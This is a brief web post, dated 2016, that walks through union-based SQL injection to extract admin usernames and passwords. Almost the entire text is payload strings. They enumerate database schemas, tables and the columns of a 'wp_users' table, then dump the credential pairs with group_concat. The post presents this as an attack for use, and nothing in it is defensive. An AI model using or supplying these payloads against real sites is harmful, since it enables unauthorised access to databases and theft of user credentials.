How to pull out a password and username by SQL Injection
Powered by iSpeech
using SQL injection to Pull out Admin Password and Username such as Email or login..
SQL Injection - Killer.
#1:
group_concat(schema_name) from information_schema.schemata--+-
#2:
group_concat(table_name) from information_schema.tables WHERE table_schema=database()—+-
#3:
group_concat(column_name) from information_schema.columns WHERE table_name=“wp_users”—+-
THEN :
1,2,3,4,5,group_concat(username,0x3e,password) from DB.TB--+-
^ to see the info...
0x3e Hexed
Any MOF Q?
2016-05-09 18:36:31
source
Gloss